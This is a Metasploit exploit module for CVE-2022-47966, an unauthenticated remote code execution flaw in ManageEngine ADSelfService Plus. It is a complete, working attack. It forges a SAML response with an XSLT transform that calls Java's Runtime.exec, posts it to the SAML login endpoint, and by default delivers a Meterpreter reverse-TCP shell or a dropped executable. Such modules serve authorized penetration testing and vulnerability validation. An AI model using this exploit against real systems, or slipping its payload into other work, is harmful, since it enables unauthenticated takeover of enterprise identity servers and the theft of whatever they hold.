ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',  
'Description' => %q{  
This exploits an unauthenticated remote code execution vulnerability  
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and  
below (CVE-2022-47966). Due to a dependency to an outdated library  
(Apache Santuario version 1.4.1), it is possible to execute arbitrary  
code by providing a crafted `samlResponse` XML to the ADSelfService Plus  
SAML endpoint. Note that the target is only vulnerable if it has been  
configured with SAML-based SSO at least once in the past, regardless of  
the current SAML-based SSO status.  
},  
'Author' => [  
'Khoa Dinh', # Original research  
'horizon3ai', # PoC  
'Christophe De La Fuente' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-47966'],  
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],  
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],  
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],  
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']  
],  
'Platform' => ['win'],  
'Payload' => {  
'BadChars' => "\x27"  
},  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 9251,  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2023-01-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE,],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),  
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),  
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),  
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])  
)  
return CheckCode::Unknown unless res  
  
return CheckCode::Safe unless res.code == 200  
  
product = res.get_html_document.xpath('//title').first&.text  
unless product == 'ADSelfService Plus'  
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")  
end  
  
CheckCode::Detected  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw  
end  
end  
  
def exploit  
case target['Type']  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Type'] == :windows_dropper  
cmd = "cmd /c #{cmd}"  
end  
cmd = cmd.encode(xml: :attr).gsub('"', '')  
  
assertion_id = "_#{SecureRandom.uuid}"  
# Randomize variable names and make sure they are all different using a Set  
vars = Set.new  
loop do  
vars << Rex::Text.rand_text_alpha_lower(5..8)  
break unless vars.size < 3  
end  
vars = vars.to_a  
saml = <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
ID="_#{SecureRandom.uuid}"  
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</samlp:Status>  
<Assertion ID="#{assertion_id}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">  
<Issuer>#{datastore['ISSUER_URL']}</Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
<ds:Reference URI="##{assertion_id}">  
<ds:Transforms>  
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">  
<xsl:stylesheet version="1.0"  
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"  
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>  
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>  
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>  
<xsl:value-of select="$#{vars[2]}"/>  
</xsl:template>  
</xsl:stylesheet>  
</ds:Transform>  
</ds:Transforms>  
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>  
<ds:KeyInfo/>  
</ds:Signature>  
</Assertion>  
</samlp:Response>  
EOS  
  
relay_state_url = datastore['RELAY_STATE']  
if relay_state_url.blank?  
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"  
end  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),  
'vars_get' => {  
'RelayState' => Rex::Text.encode_base64(relay_state_url)  
},  
'vars_post' => {  
'SAMLResponse' => Rex::Text.encode_base64(saml)  
}  
})  
  
unless res&.code == 200  
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")  
end  
  
res  
end  
  
end  
`